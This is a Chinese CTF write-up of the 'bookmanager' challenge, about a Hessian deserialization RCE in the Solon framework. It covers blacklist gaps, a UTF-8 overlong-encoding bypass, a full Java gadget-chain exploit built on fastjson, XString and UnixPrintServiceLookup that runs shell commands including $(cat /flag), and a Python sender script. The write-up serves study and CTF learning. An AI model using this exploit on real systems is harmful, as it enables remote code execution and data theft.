CISCN2025/第二届长城杯1解题-bookmanager浅析

前言

当时期末复习去了没看国赛题,回头发现一道有意思的题。

又是solon框架,想起了去年我打国赛时的心情hhh

分析

ApiGateway中定义了路由,大概意思就是将BookServiceImpl这个类加入到book这个路径下,也就说访问的话就是/api/rest/book/xxx

image-20250205163149854

那我们就可以通过/api/rest/book/getBook/api/rest/book/getAllBooks等来访问路由。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package server.dso.service;

import common.BookModel;
import common.BookService;
import java.util.List;
import org.noear.solon.annotation.Component;
import org.noear.solon.annotation.Inject;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.core.handle.Result;
import server.dso.dao.BookDao;

@Component
public class BookServiceImpl implements BookService {
@Inject
BookDao bookDao;

public BookServiceImpl() {
}

@Mapping("/getBook")
public Result<BookModel> getBook(String name) {
BookModel book = this.bookDao.getBookByTitle(name);
return book == null ? Result.failure("未找到该书籍") : Result.succeed(book);
}

@Mapping("/getAllBooks")
public Result<List<BookModel>> getAllBooks() {
List<BookModel> books = this.bookDao.getAllBooks();
return Result.succeed(books);
}

@Mapping("/getBookById")
public Result<BookModel> getBookById(long bookId) {
BookModel book = this.bookDao.getBookById(bookId);
return book == null ? Result.failure("未找到该书籍") : Result.succeed(book);
}

@Mapping("/addBook")
public Result<String> addBook(BookModel book) {
boolean isAdded = this.bookDao.addBook(book);
return isAdded ? Result.succeed("图书添加成功") : Result.failure("图书添加失败");
}
}

漏洞点在solon框架github页的issue处:https://github.com/opensolon/solon/issues/73/

当使用框架的GateWay,并且引入官方依赖solon.serialization.hessian时,如果请求的api带有参数,请求包的body部分会用hessian进行反序列化, 从而导致远程命令执行。

这里需要改一下Content-Type,形如:

1
2
3
4
5
6
POST /api/rest/book/addBook HTTP/1.1
Content-Type: application/hessian
Host: 127.0.0.1:8080


xxxxxx

发包可以看到会将body的内容进行hessian2反序列化操作:

1
org.noear.solon.serialization.hessian/HessianActionExecutor.java

image-20250205163412584

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
changeBody:177, HessianActionExecutor (org.noear.solon.serialization.hessian)
buildArgs:61, ActionExecuteHandlerDefault (org.noear.solon.core.handle)
executeHandle:47, ActionExecuteHandlerDefault (org.noear.solon.core.handle)
executeDo:329, Action (org.noear.solon.core.handle)
invoke0:268, Action (org.noear.solon.core.handle)
invoke:215, Action (org.noear.solon.core.handle)
handle0:224, Gateway (org.noear.solon.core.handle)
doFilter:206, Gateway (org.noear.solon.core.handle)
doFilter:-1, 521960438 (org.noear.solon.core.handle.Gateway$$Lambda$64)
doFilter:24, FilterChainImpl (org.noear.solon.core.handle)
handle:167, Gateway (org.noear.solon.core.handle)
handleMain:33, RouterHandler (org.noear.solon.core.route)
handleDo:64, RouterHandler (org.noear.solon.core.route)
doIntercept:24, RouterHandler (org.noear.solon.core.route)
doIntercept:47, RouterInterceptorLimiter (org.noear.solon.core.route)
doIntercept:27, RouterInterceptorChainImpl (org.noear.solon.core.route)
doIntercept:97, ChainManager (org.noear.solon.core)
handle:93, RouterHandler (org.noear.solon.core.route)
handle:41, HandlerPipeline (org.noear.solon.core.handle)
doFilter:473, SolonApp (org.noear.solon)
doFilter:-1, 1018937824 (org.noear.solon.SolonApp$$Lambda$15)
doFilter:24, FilterChainImpl (org.noear.solon.core.handle)
doFilter:49, ChainManager (org.noear.solon.core)
tryHandle:419, SolonApp (org.noear.solon)
handle:-1, 1506809545 (org.noear.solon.boot.jlhttp.XPluginImp$$Lambda$76)
handleDo:42, JlHttpContextHandler (org.noear.solon.boot.jlhttp)
serve:22, JlHttpContextHandler (org.noear.solon.boot.jlhttp)
serve:2253, HTTPServer (org.noear.solon.boot.jlhttp)
handleMethod:2215, HTTPServer (org.noear.solon.boot.jlhttp)
handleTransaction:2154, HTTPServer (org.noear.solon.boot.jlhttp)
handleConnection:2114, HTTPServer (org.noear.solon.boot.jlhttp)
execute:1895, HTTPServer$SocketHandlerThread (org.noear.solon.boot.jlhttp)
lambda$run$0:1867, HTTPServer$SocketHandlerThread (org.noear.solon.boot.jlhttp)
run:-1, 571100326 (org.noear.solon.boot.jlhttp.HTTPServer$SocketHandlerThread$$Lambda$83)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

但是查看源码会发现readObject之前有个判断,不难看出是KMP算法的字符串匹配,也就是弄了个blacklist的过滤:

image-20250205163958310

testCases内容简单转换一下,可得到黑名单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.ldap
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.awt.
java.beans.
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.
java.security.
java.util.ServiceLoader
java.util.StringTokenizer
javassist.bytecode.annotation.
javassist.tools.web.Viewer
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.swing.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.codec.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.dom4j.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.junit.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.mockito.
org.thymeleaf.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
ognl.
pstore.shaded.org.apache.commons.collections.
sun.print.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

看起来唬人,给你ban得差不多了,但是就是因为他使用的KMP算法匹配,可以使用UTF-8-Overlong-Encoding绕过。(X1哥还是太强了)

但是直接利用还是失败了,调试一下会发现还有个黑名单的限制:

image-20250205164247175

这个存在于hessian-lite中的ClassFactory里:

image-20250205164350440

转换一下,我们能得到黑名单2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.awt.
java.beans.
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.
java.security.
java.util.ServiceLoader
java.util.StringTokenizer
javassist.bytecode.annotation.
javassist.tools.web.Viewer
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.swing.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.apache.bcel.util.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
pstore.shaded.org.apache.commons.collections.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

对比一下,会发现有个不同的东西,黑名单1有,黑名单2却没有:

1
sun.print.

这就是本题的核心绕过点。

EXP

jar包给了fj依赖,下面我贴出的博客中大佬挖出了个solon的链子,中间有个就是

1
sun.print.UnixPrintServiceLookup

但是美中不足的是这个必须Unix类操作系统才有,也就是我Windows没法直接调,会显示没这个包。

Linux和Mac的java环境应该能直接调出来。

众所周知fj的JSONObject#toString能触发任意getter,我们使用它去调用UnixPrintServiceLookup#getDefaultPrintService,如此链子便拉通了。

我们从最原始和经典的fj链入手:

1
2
3
4
5
6
7
8
ObjectInputStream.readObject -> 
HashMap.readObject ->
BadAttributeValueExpException.readObject ->
JSONArray.toString ->
JSON.toString (JSONArray extends JSON)->
JSON.toJSONString ->
TemplatesImpl.getOutputProperties ->
TemplatesImpl.newTransformer

但是由于存在黑名单,因此需要进行绕过以下两个类:

1
2
javax.management.BadAttributeValueExpException
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

对于 BadAttributeValueExpException,其作用为 from readObject to toStringBean.toString,可以找到未被 blacklist 的 XString.equals 来替换,而最后的 sink 可以使用 UnixPrintServiceLookup 替换,最终的调用链为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
getDefaultPrintService:640, UnixPrintServiceLookup (sun.print)
write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)
write:271, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)
toString:1071, JSON (com.alibaba.fastjson)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
equals:495, AbstractMap (java.util)
putVal:636, HashMap (java.util)
put:613, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
main:166, Main (org.example)

Linux下调,确实能通:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package org.example;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.misc.Unsafe;
import sun.print.UnixPrintServiceLookup;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class XStringtoGetterExp {
public static void setFieldValue(Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = obj.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}

public static void main(String[] args) {
try {
//需要执行的命令
//String cmd = "curl -X POST http://127.0.0.1:8080/api/rest/book/addBook -H \"Content-Type: application/json\" -d '{\"bookId\": 1, \"title\": \"'$(cat /flag)'\", \"author\": \"'EddieMurphy'\", \"publishDate\": \"2025-01-01\", \"price\": 13.14}'";
String cmd = "touch /tmp/success_eddie";
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
//Class<?> cls = Class.forName("sun.print.UnixPrintServiceLookup");
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
//Object unixPrintServiceLookup = unsafe.allocateInstance(cls);
//设置属性
setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
setFieldValue(unixPrintServiceLookup, "osname", "xx");
setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
//封装一个JSONObject对象调用getter方法
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unixPrintServiceLookup);

//使用XString类调用toString方法
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", jsonObject);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", jsonObject);

HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);

//FileOutputStream fileOutputStream=new FileOutputStream("ser.bin");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2OutputWithOverlongEncoding hessianOutput = new Hessian2OutputWithOverlongEncoding(byteArrayOutputStream);
//Hessian2OutputWithOverlongEncoding hessianOutput = new Hessian2OutputWithOverlongEncoding(fileOutputStream);
hessianOutput.setSerializerFactory(new SerializerFactory());
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(s);
hessianOutput.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
des(byteArrayOutputStream.toByteArray());
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object des(byte[] bytes) throws IOException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessianInput = new Hessian2Input(byteArrayInputStream);
System.out.println("\nDeserialization of object.");
try {
return hessianInput.readObject();
} catch (EOFException e) {
throw new IOException("Unexpected end of file while reading object", e);
}
}
}

image-20250205165508392

当然这是出网打法,而比赛时那道题据说不出网,按道理来说应该是curl将根目录的flag给映射到book页面:

1
String cmd = "curl -X POST http://127.0.0.1:8080/api/rest/book/addBook -H \"Content-Type: application/json\" -d '{\"bookId\": 1, \"title\": \"'$(cat /flag)'\", \"author\": \"'EddieMurphy'\", \"publishDate\": \"2025-01-01\", \"price\": 13.14}'";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
import requests

with open("ser.bin", "rb") as f:
body = f.read()

print(len(body))

url = "http://localhost:8080/api/rest/book/getBook"
headers = { "Content-Type": "application/hessian" }
response = requests.get(url, headers=headers, data=body)
print(response.text)

url = "http://localhost:8080/api/rest/book/getAllBooks"
response = requests.get(url)
match = re.search(r'flag\{[^\}]+\}', response.text)
print(match.group(0) if match else "Flag not found")

也可以打内存马(但是没时间看了hhh)。

高手过招,点到为止吧。

参考:

jdk8u-jdk/src/solaris/classes/sun/print/UnixPrintService.java at master · frohoff/jdk8u-jdk

第十八届国赛暨第二届长城杯-bookmanager题解 | P0l@R19ht

Hessian UTF-8 Overlong Encoding - X1r0z Blog

国产web框架Solon - FreeBuf网络安全行业门户

国产web框架Solon-v2.5.11RCE漏洞

文章 - 2024 CISCN & 第二届长城杯铁人三项赛 0解Web BookManager 题解 - 先知社区


CISCN2025/第二届长城杯1解题-bookmanager浅析
https://eddiemurphy89.github.io/2025/02/05/CISCN2025-第二届长城杯0解题-bookmanager浅析/
作者
EddieMurphy
发布于
2025年2月5日
许可协议